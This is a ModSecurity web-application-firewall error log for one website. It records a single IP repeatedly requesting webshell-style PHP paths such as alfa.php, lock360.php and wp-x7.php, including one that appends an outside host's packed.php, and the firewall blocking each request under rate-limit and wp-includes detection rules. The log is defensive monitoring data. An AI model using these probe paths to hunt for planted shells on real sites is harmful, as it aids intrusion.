[Tue Dec 02 23:28:17.560020 2025] [:error] [pid 3649:tid 3711] [client 20.196.108.177:20449] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aS8FkbwjL4uqC6YFjxHKQgAAAIA"]
[Tue Dec 02 23:28:17.950156 2025] [:error] [pid 5232:tid 5253] [client 20.196.108.177:20392] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aS8FkQApmO-auDy1ob4oegAAARM"]
[Tue Dec 02 23:28:18.570336 2025] [:error] [pid 3649:tid 3726] [client 20.196.108.177:20394] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aS8FkrwjL4uqC6YFjxHKQwAAAI8"]
[Tue Dec 02 23:28:19.391087 2025] [:error] [pid 3760:tid 3768] [client 20.196.108.177:20340] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aS8Fk1jLYEjdWVcKgVWYwwAAAMY"]
[Tue Dec 02 23:28:19.961266 2025] [:error] [pid 3649:tid 3731] [client 20.196.108.177:20298] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aS8Fk7wjL4uqC6YFjxHKRAAAAJQ"]
[Tue Dec 02 23:28:20.307589 2025] [:error] [pid 5272:tid 5290] [client 20.196.108.177:20309] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aS8FlOwbFoRzPGfZYVSPlAAAAU8"]
[Tue Dec 02 23:28:20.820881 2025] [:error] [pid 5272:tid 5277] [client 20.196.108.177:20345] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aS8FlOwbFoRzPGfZYVSPlQAAAUI"]
[Tue Dec 02 23:28:21.374352 2025] [:error] [pid 3648:tid 3685] [client 20.196.108.177:20303] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aS8FleQEp5icp6XOJr0wvQAAAEE"]
[Tue Dec 02 23:28:22.449663 2025] [:error] [pid 3647:tid 3677] [client 20.196.108.177:20292] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aS8FllJaqGDFgh_0XI_XlgAAABg"]
[Tue Dec 02 23:28:23.039312 2025] [:error] [pid 5272:tid 5284] [client 20.196.108.177:20390] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aS8Fl-wbFoRzPGfZYVSPlwAAAUk"]
[Tue Dec 02 23:28:23.559622 2025] [:error] [pid 3648:tid 3697] [client 20.196.108.177:20302] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aS8Fl-QEp5icp6XOJr0wvgAAAE0"]
[Tue Dec 02 23:28:24.120300 2025] [:error] [pid 5273:tid 5308] [client 20.196.108.177:20316] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aS8FmCMmXO5H1kNwHHWGJQAAAYY"]
[Tue Dec 02 23:28:25.356286 2025] [:error] [pid 5272:tid 5297] [client 20.196.108.177:20387] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aS8FmewbFoRzPGfZYVSPmwAAAVY"]
[Tue Dec 02 23:28:26.581882 2025] [:error] [pid 5273:tid 5303] [client 20.196.108.177:20314] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aS8FmiMmXO5H1kNwHHWGJwAAAYE"]
[Tue Dec 02 23:28:27.253619 2025] [:error] [pid 5272:tid 5279] [client 20.196.108.177:20397] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aS8Fm-wbFoRzPGfZYVSPnQAAAUQ"]
[Tue Dec 02 23:28:27.884948 2025] [:error] [pid 5232:tid 5257] [client 20.196.108.177:20419] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aS8FmwApmO-auDy1ob4ogAAAARc"]
[Tue Dec 02 23:28:28.822356 2025] [:error] [pid 3649:tid 3714] [client 20.196.108.177:20311] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aS8FnLwjL4uqC6YFjxHKSAAAAIM"]
[Tue Dec 02 23:28:29.759685 2025] [:error] [pid 5232:tid 5235] [client 20.196.108.177:20224] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aS8FnQApmO-auDy1ob4oggAAAQE"]
[Tue Dec 02 23:28:30.464386 2025] [:error] [pid 48650:tid 48658] [client 20.196.108.177:20240] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aS8FnoQuWSn3xrJsXbn6aQAAAcM"]
[Tue Dec 02 23:28:31.136632 2025] [:error] [pid 5272:tid 5282] [client 20.196.108.177:20438] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aS8Fn-wbFoRzPGfZYVSPogAAAUc"]
[Tue Dec 02 23:28:31.522385 2025] [:error] [pid 5232:tid 5252] [client 20.196.108.177:20331] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aS8FnwApmO-auDy1ob4ohQAAARI"]
[Tue Dec 02 23:28:31.982696 2025] [:error] [pid 3647:tid 3667] [client 20.196.108.177:20328] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aS8Fn1JaqGDFgh_0XI_XpgAAAA4"]
[Tue Dec 02 23:28:32.535397 2025] [:error] [pid 5273:tid 5315] [client 20.196.108.177:20321] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aS8FoCMmXO5H1kNwHHWGMAAAAY0"]
[Tue Dec 02 23:28:33.194022 2025] [:error] [pid 3647:tid 3660] [client 20.196.108.177:20409] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aS8FoVJaqGDFgh_0XI_XqgAAAAc"]
[Tue Dec 02 23:28:34.039898 2025] [:error] [pid 48650:tid 48660] [client 20.196.108.177:20423] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aS8FooQuWSn3xrJsXbn6bwAAAcU"]
[Tue Dec 02 23:28:34.454983 2025] [:error] [pid 3649:tid 3733] [client 20.196.108.177:20322] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aS8ForwjL4uqC6YFjxHKUgAAAJY"]
[Tue Dec 02 23:28:35.116681 2025] [:error] [pid 5273:tid 5309] [client 20.196.108.177:20251] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aS8FoyMmXO5H1kNwHHWGMwAAAYc"]
[Tue Dec 02 23:28:35.988030 2025] [:error] [pid 48650:tid 48658] [client 20.196.108.177:20324] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aS8Fo4QuWSn3xrJsXbn6dQAAAcM"]
[Tue Dec 02 23:28:36.663727 2025] [:error] [pid 48650:tid 48665] [client 20.196.108.177:20405] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aS8FpIQuWSn3xrJsXbn6eAAAAco"]
[Tue Dec 02 23:28:37.099854 2025] [:error] [pid 3760:tid 3778] [client 20.196.108.177:20296] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aS8FpVjLYEjdWVcKgVWY3wAAANA"]
[Tue Dec 02 23:28:37.714784 2025] [:error] [pid 5232:tid 5234] [client 20.196.108.177:20421] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aS8FpQApmO-auDy1ob4ojQAAAQA"]
[Tue Dec 02 23:28:39.105601 2025] [:error] [pid 48650:tid 48673] [client 20.196.108.177:20389] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aS8Fp4QuWSn3xrJsXbn6fgAAAdI"]
[Tue Dec 02 23:28:39.493814 2025] [:error] [pid 5232:tid 5248] [client 20.196.108.177:20313] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aS8FpwApmO-auDy1ob4ojwAAAQ4"]
[Tue Dec 02 23:28:39.904365 2025] [:error] [pid 5232:tid 5235] [client 20.196.108.177:20399] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aS8FpwApmO-auDy1ob4okAAAAQE"]
[Tue Dec 02 23:28:40.575153 2025] [:error] [pid 5272:tid 5278] [client 20.196.108.177:20236] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aS8FqOwbFoRzPGfZYVSPpgAAAUM"]
[Tue Dec 02 23:28:41.621281 2025] [:error] [pid 3760:tid 3769] [client 20.196.108.177:20353] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aS8FqVjLYEjdWVcKgVWY5QAAAMc"]
[Tue Dec 02 23:28:42.068240 2025] [:error] [pid 48650:tid 48668] [client 20.196.108.177:20247] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aS8FqoQuWSn3xrJsXbn6hgAAAc0"]
[Tue Dec 02 23:28:42.574509 2025] [:error] [pid 5273:tid 5320] [client 20.196.108.177:20308] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aS8FqiMmXO5H1kNwHHWGPQAAAZI"]
[Tue Dec 02 23:28:42.962059 2025] [:error] [pid 3648:tid 3705] [client 20.196.108.177:20300] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aS8FquQEp5icp6XOJr0w0QAAAFU"]
[Tue Dec 02 23:28:43.530635 2025] [:error] [pid 5272:tid 5292] [client 20.196.108.177:20338] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aS8Fq-wbFoRzPGfZYVSPqQAAAVE"]
[Tue Dec 02 23:28:44.194008 2025] [:error] [pid 5273:tid 5326] [client 20.196.108.177:20334] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aS8FrCMmXO5H1kNwHHWGQAAAAZg"]
[Tue Dec 02 23:28:44.988178 2025] [:error] [pid 3648:tid 3707] [client 20.196.108.177:20326] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aS8FrOQEp5icp6XOJr0w0wAAAFc"]
[Tue Dec 02 23:28:45.850997 2025] [:error] [pid 3760:tid 3766] [client 20.196.108.177:20393] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aS8FrVjLYEjdWVcKgVWY7gAAAMQ"]
[Tue Dec 02 23:28:46.333534 2025] [:error] [pid 48650:tid 48665] [client 20.196.108.177:20339] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aS8FroQuWSn3xrJsXbn6jwAAAco"]
[Tue Dec 02 23:28:46.955438 2025] [:error] [pid 3647:tid 3677] [client 20.196.108.177:20341] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aS8FrlJaqGDFgh_0XI_XuwAAABg"]
[Tue Dec 02 23:28:47.764317 2025] [:error] [pid 48650:tid 48677] [client 20.196.108.177:20412] [client 20.196.108.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aS8Fr4QuWSn3xrJsXbn6lQAAAdY"]
[Tue Dec 02 23:28:48.490811 2025] [:error] [pid 3647:tid 3667] [client 20.196.108.177:20426] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/555.php"] [unique_id "aS8FsFJaqGDFgh_0XI_XvQAAAA4"]
[Tue Dec 02 23:28:49.349356 2025] [:error] [pid 48650:tid 48671] [client 20.196.108.177:20291] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/555.php"] [unique_id "aS8FsYQuWSn3xrJsXbn6mgAAAdA"]
[Tue Dec 02 23:28:50.085703 2025] [:error] [pid 3649:tid 3716] [client 20.196.108.177:20325] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/555.php"] [unique_id "aS8FsrwjL4uqC6YFjxHKgQAAAIU"]
[Tue Dec 02 23:28:51.307926 2025] [:error] [pid 5232:tid 5236] [client 20.196.108.177:20342] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.phphttps://robertatimothy.com/wp-content/packed.php"] [unique_id "aS8FswApmO-auDy1ob4onAAAAQI"]
[Tue Dec 02 23:28:52.298761 2025] [:error] [pid 3647:tid 3671] [client 20.196.108.177:20411] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.phphttps://robertatimothy.com/wp-content/packed.php"] [unique_id "aS8FtFJaqGDFgh_0XI_XxwAAABI"]
[Tue Dec 02 23:28:52.699536 2025] [:error] [pid 3648:tid 3697] [client 20.196.108.177:20365] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.phphttps://robertatimothy.com/wp-content/packed.php"] [unique_id "aS8FtOQEp5icp6XOJr0w4gAAAE0"]
[Tue Dec 02 23:28:53.271103 2025] [:error] [pid 3647:tid 3663] [client 20.196.108.177:20335] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.phphttps://robertatimothy.com/wp-content/packed.php"] [unique_id "aS8FtVJaqGDFgh_0XI_XzAAAAAo"]
[Tue Dec 02 23:28:53.875844 2025] [:error] [pid 48650:tid 48666] [client 20.196.108.177:20344] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/AxAo.php"] [unique_id "aS8FtYQuWSn3xrJsXbn6rwAAAcs"]
